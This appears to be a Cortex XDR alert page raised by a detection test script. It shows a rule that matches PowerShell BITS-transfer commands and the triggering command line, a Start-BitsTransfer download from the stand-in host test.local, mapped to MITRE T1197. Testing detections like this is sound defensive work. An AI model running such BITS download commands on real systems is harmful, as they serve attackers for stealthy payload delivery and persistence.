MEDIUM PowerShell downloads files via BITS

Detected ID: #1899 | Detected: 2026-01-02 11:49:56 | Persistence
View Incident Back
Alert Overview

Process action type = execution AND target process cmd = *start-bitstransfer*, *complete-bitstransfer* AND target process name = powershell.exe AND process execution signature = Signed AND process execution signer = Microsoft Corporation Host host os = windows

Unclassified
XDR BIOC
New
DS:PANW/XDR Agent DOM:Security
Host Information
BOOK-R0BE6S1NC3
172.30.1.62 10.8.0.6
BOOK-R0BE6S1NC3\ubuntu
fb5c54168a024bea95ad1bfc092f7a53
-
Process Information Process Execution
Actor Process (Executor)
Process Name python.exe
Path C:\Users\ubuntu\scoop\apps\python\3.13.2\python.exe
PID 37232
SHA256 7d96a4ed35d6e596cd9dd8933feafc66349cc21f75be3b15c89fd336e50140c1 VT
MD5 5b4a9fba45e770366c5a8f973f6c6ab1
Signature Python Software Foundation Signed 
"C:\app\cortex-xdr-siem-test\.venv\Scripts\python.exe"  "C:\app\cortex-xdr-siem-test\cortex_xdr_test.py" --test 2
Action Process (Target)
Process Name powershell.exe
SHA256 0ff6f2c94bc7e2833a5f7e16de1622e5dba70396f31c7d5f56381870317e8c46 VT
Signature Microsoft Corporation Signed 
powershell -Command "$null = \"Import-Module BitsTransfer; Start-BitsTransfer 'http://test.local' 'c:\temp\test'\""
Parent Process (Causality)
Process Name mmc.exe
Path C:\Windows\System32\mmc.exe
SHA256 48ec341bf3efd9a78141a01f15cd3548f10cd6c56793a9d3705b884d06bb956e VT
MD5 6b16d40d2db968844c1b7d0fb0b05500 
"C:\windows\system32\mmc.exe" "C:\windows\system32\taskschd.msc" /s
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0003 - Persistence
T1197 - BITS Jobs
Quick Actions
View Related Incident View Endpoint Check Hash on VirusTotal Back to Alerts
Severity Analysis
MEDIUM

Review and assess impact

Summary
Events 1
IP Addresses 2
Tags 2
File Artifacts Yes
Network Artifacts No
Registry Artifacts No
Analyst Verdict